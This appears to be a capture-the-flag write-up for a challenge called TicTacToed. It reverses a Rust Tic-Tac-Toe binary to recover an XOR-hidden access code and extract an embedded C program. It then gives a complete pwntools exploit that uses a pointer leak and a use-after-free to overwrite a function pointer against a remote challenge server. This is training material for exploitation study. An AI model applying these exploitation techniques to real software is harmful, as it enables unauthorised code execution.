Challenge TicTacToed
This challenge consists of a 64-bit Rust PIE executable masquerading as a 5x5 Tic-Tac-Toe game that conceals an interactive C-based Command and Control server, and the solution consists of bypassing the Rust wrapper via XOR decryption to unlock an embedded C binary, followed by a Use-After-Free exploit to bypass PIE and capture the flag.
Static analysis begins by identifying the binary type, revealing it to be a 64-bit PIE ELF executable compiled in Rust.
$ file tictactoe
tictactoe: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 4.4.0, BuildID[sha1]=6f3bdd1a7989d5ba761bc461c285bf98da6ca4e5, not stripped
Running the binary presents a standard game of Tic-Tac-Toe. Playing and winning the game normally yields no interesting behavior.
$ ./tictactoe
- - - - -
- - - - -
- - - - -
- - - - -
- - - - -
Player X's turn. Enter row and column (0-4): 1 1
- - - - -
- X - - -
- - - - -
- - - - -
- - - - -
...
Player X wins!
Searching for interesting strings in the binary reveals mentions of a hidden interface, an access code, and a pattern recognition sequence.
$ strings tictactoe| grep -iE "flag|secret|hack|hidden|pattern|access"
osix_spawnattr_setflags
pattern length: unifiedideograph
flag.txt
couldn't open flag.txt
How did your previous hack go?
(F) Provide updates about your current hack.)
getSecret
Hackupdate
Failed to write C2 binarysrc/main.rsFailed to set execute permissionsFailed to execute C2 binary271c6d20f3ba3894199fc3f58b1087130ec340bf85e290b335f8dd4a09ce802f[DEBUG] Access validation failed!
[DEBUG] Expected Hash: [DEBUG] Incorrect Access Code! Tampering Detected.
--- Hidden Interface Unlocked ---
Failed to read usernameEnter Access Code: Failed to read access codeAccess Denied!
Access Granted, Welcome !
--- Pattern Recognized! ---
Player patterns
Patterns
...
To investigate the hidden interface message, surrounding strings are examined.
$ strings tictactoe | grep -iA10 "hidden"
--- Hidden Interface Unlocked ---
Failed to read usernameEnter Access Code: Failed to read access codeAccess Denied!
Access Granted, Welcome !
O:40X:44utf8info\
ahexoidsterm15.1V6_3v160markcprtdogrgujrjavakhmrlanamakamandmrooplrd) =
Mathv110v151benglatnprtizzzzZero
idsb14.016.0V6_2armnbassgonmmercsarbshawtaleyeziHash&
V3_0balikharmiaoogamtfngcodehashv
11.0V7_0MarkaghbkhojsunuxpeoO:31X:00coreR
V6_0kndalimbnkoosundTotou128for<[
xidcbatklaooKindboolmut X:33kindQuitbyte-
The output contains characters like X and O associated with numbers, potentially indicating specific coordinates for the game board. Extracting these coordinates provides a possible sequence of moves.
$ strings tictactoe| grep -oE "[XO]:[0-9][0-9]" | sort
O:04
O:13
O:31
O:40
X:00
X:11
X:22
X:33
X:44
Inputting this precise sequence of moves triggers the pattern recognition mechanism and unlocks the hidden interface.
$ ./tictactoe
- - - - -
- - - - -
- - - - -
- - - - -
- - - - -
Player X's turn. Enter row and column (0-4): 0 0
X - - - -
- - - - -
- - - - -
- - - - -
- - - - -
Player O's turn. Enter row and column (0-4): 0 4
X - - - O
- - - - -
- - - - -
- - - - -
- - - - -
Player X's turn. Enter row and column (0-4): 1 1
X - - - O
- X - - -
- - - - -
- - - - -
- - - - -
Player O's turn. Enter row and column (0-4): 1 3
X - - - O
- X - O -
- - - - -
- - - - -
- - - - -
Player X's turn. Enter row and column (0-4): 2 2
X - - - O
- X - O -
- - X - -
- - - - -
- - - - -
Player O's turn. Enter row and column (0-4): 3 1
X - - - O
- X - O -
- - X - -
- O - - -
- - - - -
Player X's turn. Enter row and column (0-4): 3 3
X - - - O
- X - O -
- - X - -
- O - X -
- - - - -
Player O's turn. Enter row and column (0-4): 4 0
X - - - O
- X - O -
- - X - -
- O - X -
O - - - -
Player X's turn. Enter row and column (0-4): 4 4
--- Pattern Recognized! ---
--- Hidden Interface Unlocked ---
Enter Username:
The interface prompts for a username and an access code. Testing a generic username and an arbitrary access code results in an access denial.
$ ./tictactoe
...
--- Pattern Recognized! ---
--- Hidden Interface Unlocked ---
Enter Username: admin
Enter Access Code:
...
--- Hidden Interface Unlocked ---
Enter Username: admin
Enter Access Code: alkjdalkjda
Access Denied!
Determining the correct access code requires further reverse engineering. A search for encrypted bytes in the binary's symbol table reveals three distinct encrypted parts stored in the .rodata section.
$ objdump -t tictactoe | grep ENC
000000000007adc5 l O .rodata 0000000000000007 _ZN9tictactoe9ENC_PART117hc9692e3072677d14E
000000000007adcc l O .rodata 0000000000000007 _ZN9tictactoe9ENC_PART217h32e32663a27b062dE
000000000007add3 l O .rodata 0000000000000009 _ZN9tictactoe9ENC_PART317ha3eec3bbd5f1dfdbE
These parts can be extracted using a small Python script to read the specific offsets.
$ python3 -c 'f=open("tictactoe", "rb"); f.seek(0x7adc5); p1=f.read(7); f.seek(0x7adcc); p2=f.read(7); f.seek(0x7add3); p3=f.read(9); print(f"Part 1: {p1.hex()}\nPart 2: {p2.hex()}\nPart 3: {p3.hex()}\nTogether: {(p1+p2+p3).hex()}"); f.close()'
Part 1: 1e693c6b34692e
Part 2: 36233b6d6b396d
Part 3: 6e396d6a693d3b3769
Together: 1e693c6b34692e36233b6d6b396d6e396d6a693d3b3769
With the encrypted bytes obtained, the focus shifts to locating the decryption logic.
$ objdump -t tictactoe | grep -iE "decrypt"
000000000012dd30 l F .text 0000000000000293 _ZN9tictactoe11decrypt_key17hd58798707eb6d7f2E
...
Analyzing the decrypt_key function in Cutter shows the program processing the three encrypted parts.
int64_t method.tictactoe::decrypt_key.hd58798707eb6d7f2(int64_t arg1, undefined8 placeholder_1, int64_t arg3)
{
...
// tictactoe::decrypt_key::hd58798707eb6d7f2
pcVar1 = _data.003dc8b8;
auVar2 = (*_data.003dc8b8)(tictactoe::ENC_PART1::hc9692e3072677d14);
auVar2 = method.core::iter::traits::iterator::Iterator::map.h78bcbbd2cb0128f7(auVar2._0_8_, auVar2._8_8_);
method.core::iter::traits::iterator::Iterator::collect.h46e2a274eecde051
((int64_t)&var_108h, auVar2._0_8_, auVar2._8_8_);
auVar2 = (*pcVar1)(tictactoe::ENC_PART2::h32e32663a27b062d, 7);
auVar2 = method.core::iter::traits::iterator::Iterator::map.hd5d540c5a8d969c4(auVar2._0_8_, auVar2._8_8_);
method.core::iter::traits::iterator::Iterator::collect.h48ffbb0824afa13b
((int64_t)&var_f0h, auVar2._0_8_, auVar2._8_8_);
auVar3 = (*_data.003dc8b8)(tictactoe::ENC_PART3::ha3eec3bbd5f1dfdb, 9);
auVar3 = method.core::iter::traits::iterator::Iterator::map.h311e6b574ccd6bf8(auVar3._0_8_, auVar3._8_8_);
method.core::iter::traits::iterator::Iterator::collect.h5ebe031c83ec3bd1
((int64_t)&var_d8h, auVar3._0_8_, auVar3._8_8_);
....
return arg1;
}
Further inspection of related methods reveals a closure performing a straightforward XOR operation with the constant 0x5a.
uint8_t method.tictactoe::decrypt_key::__closure__.hc981438569de4f63(undefined8 placeholder_0, int64_t arg2)
{
// tictactoe::decrypt_key::{{closure}}::hc981438569de4f63
return *(uint8_t *)arg2 ^ 0x5a;
}
Applying an XOR with 0x5a to the concatenated hexadecimal string yields the valid access code.
D3f1n3tlya71c74c703gam3
Providing this access code grants entry into the concealed Command and Control (C2) center.
$ ./tictactoe
...
Enter Username: admin
Enter Access Code: D3f1n3tlya71c74c703gam3
Access Granted, Welcome admin!
Command and Control Centere.
==========================
(H) Generate ID for the agent
(A) Begin a new cyber operation
(C) Create a new Agent
(K) Check status of current cyber operation
(F) Provide updates about your current hack.)
(E) Exit
>
This uncovers the secondary application embedded within the wrapper. A script can be used to identify the ELF magic bytes (\x7fELF) inside the main binary, pinpointing the start of the embedded executable.
$ python -c "import sys, re; [print(f'Offset: {m.start()}') for m in re.finditer(b'\x7fELF', open(sys.argv[1], 'rb').read())]" tictactoe
Offset: 0
Offset: 505666
Offset: 3719985
The second occurrence at offset 505666 marks the beginning of the embedded C2 binary. Extracting it requires calculating the size of the embedded segment, resulting in 3214319 bytes. The extraction is performed with dd.
$ dd if=tictactoe of=c2_binary bs=1 skip=505666 count=3214319
3214319+0 records in
3214319+0 records out
3214319 bytes (3.2 MB, 3.1 MiB) copied, 5.19032 s, 619 kB/s
Analyzing the newly extracted C2 binary in Cutter reveals several critical functions. A function named getSecret reads and prints the flag, making it the primary objective for execution.
void getSecret(void)
{
int64_t iVar1;
int64_t in_FS_OFFSET;
FILE *stream;
char *va_args;
int64_t canary;
canary = *(int64_t *)(in_FS_OFFSET + 0x28);
iVar1 = fopen("flag.txt", data.00002008);
if (iVar1 == 0) {
perror("couldn\'t open flag.txt");
} else {
fgets(&va_args, 200, iVar1);
fprintf(*_stdout, data.00002013, &va_args);
fclose(iVar1);
}
if (canary != *(int64_t *)(in_FS_OFFSET + 0x28)) {
__stack_chk_fail();
}
return;
}
The main function governs the execution flow, continuously displaying the menu, processing input, and executing actions based on an allocated 16-byte _agent structure.
void main(void)
{
setvbuf(*_stdout, 0, 2, 0);
_agent = malloc(0x10);
do {
displayMenu();
processInput();
executeAction(_agent);
} while( true );
}
The executeAction function utilizes this _agent pointer by interpreting its first eight bytes as a function pointer and jumping to that memory address.
void executeAction(int64_t arg1)
{
int64_t var_10h;
(**(code **)arg1)();
return;
}
Reviewing the exitProgram function uncovers a Use-After-Free (UAF) vulnerability. When the option to quit is selected, the _agent is freed from memory. However, the function does not terminate the program, allowing the main loop to persist with a dangling pointer to the freed memory.
void exitProgram(void)
{
int32_t iVar1;
int64_t in_FS_OFFSET;
char var_11h;
int64_t canary;
canary = *(int64_t *)(in_FS_OFFSET + 0x28);
printf("Sure you want to leave the clan (Y/N)? ");
__isoc99_scanf(data.00002110, &var_11h);
iVar1 = toupper((int32_t)var_11h);
if (iVar1 == 0x59) {
puts("Congrats on quitting the revolution");
free(_agent);
} else {
puts(data.0000213c);
}
if (canary != *(int64_t *)(in_FS_OFFSET + 0x28)) {
__stack_chk_fail();
}
return;
}
This vulnerability can be leveraged via the Hackupdate function, which allocates an 8-byte chunk and reads user input into it.
void Hackupdate(void)
{
undefined8 uVar1;
void *buf;
puts("How did your previous hack go? ");
uVar1 = malloc(8);
read(0, uVar1, 8);
return;
}
Because both allocations request chunks of size less than 0x20 bytes, they are serviced by the same tcache bin. Allocating memory in Hackupdate reuses the exact chunk that was just freed from _agent. By writing eight bytes into this chunk, the function pointer evaluated in executeAction is overwritten.
To successfully call getSecret, its address in memory must be calculated. The printID function inadvertently provides a memory leak by displaying the runtime address of the generateUserID function.
void printID(void)
{
printf("User ID: %p\n", generateUserID);
return;
}
With PIE enabled, the base address is randomized, but the relative distance between functions remains constant. Analyzing the binary statically shows generateUserID at offset 0x143c and getSecret at 0x1269. Subtracting this delta from the leaked address reliably resolves the address of getSecret.
Because the embedded binary on the remote server might slightly differ, causing variations in the delta, a script is constructed to brute-force a range of possible offsets.
$ cat ../exploit/exploit.py
from pwn import *
import re
pattern = [
b"0 0", b"0 4", b"1 1", b"1 3", b"2 2", b"3 1",
b"3 3", b"4 0", b"4 4"
]
username = "admin"
access_code = "D3f1n3tlya71c74c703gam3"
for delta in range(0x150, 0x200):
try:
p = remote('154.57.164.71', 31403)
# Send the pattern
for move in pattern:
p.sendline(move)
p.recvuntil(b"Pattern Recognized!")
p.recvuntil(b"Enter Username:")
p.sendline(b"admin")
p.recvuntil(b"Enter Access Code:")
p.sendline(b"D3f1n3tlya71c74c703gam3")
# Access the C2
p.recvuntil(b"> ")
p.sendline(b"H")
# Store the leaked value
p.recvuntil(b"User ID: ")
# Calculate the getSecret address
user_id = int(p.recvline().strip(), 16)
secret_addr = user_id - delta
# Trigger UAF
p.sendline(b"E")
p.recvuntil(b"(Y/N)?")
p.sendline(b"Y")
p.recvuntil(b"> ")
p.sendline(b"F")
p.recvuntil(b"hack go?")
# Overwrite the function pointer
p.send(p64(secret_addr))
# Catch the response
response = p.recvall(timeout=2).decode(errors='ignore')
p.close()
# Search for the flag in the response
if "HTB" in response:
print(f"[+] Delta: 0x{delta:x} \n"
f"[+] getSecret Address: {secret_addr}")
# Extract the flag
flag = re.search(r"HTB\{[^}]+\}", response).group()
print(f"[+] Flag: {flag}")
break
except Exception:
pass
Executing the exploit script iterates through the possible deltas, correctly overwrites the pointer, executes getSecret, and successfully retrieves the flag.
$ python3 ../exploit/exploit.py
[+] Opening connection to 154.57.164.71 on port 31403: Done
[+] Receiving all data: Done (17B)
[*] Closed connection to 154.57.164.71 port 31403
[+] Opening connection to 154.57.164.71 on port 31403: Done
[+] Receiving all data: Done (17B)
[*] Closed connection to 154.57.164.71 port 31403
[+] Opening connection to 154.57.164.71 on port 31403: Done
[+] Receiving all data: Done (17B)
[*] Closed connection to 154.57.164.71 port 31403
[+] Opening connection to 154.57.164.71 on port 31403: Done
[+] Receiving all data: Done (17B)
[*] Closed connection to 154.57.164.71 port 31403
...
[+] Opening connection to 154.57.164.71 on port 31403: Done
[+] Receiving all data: Done (282B)
[*] Closed connection to 154.57.164.71 port 31403
[+] Delta: 0x1a0
[+] getSecret Address: 93985082032733
[+] Flag: HTB{FLAG}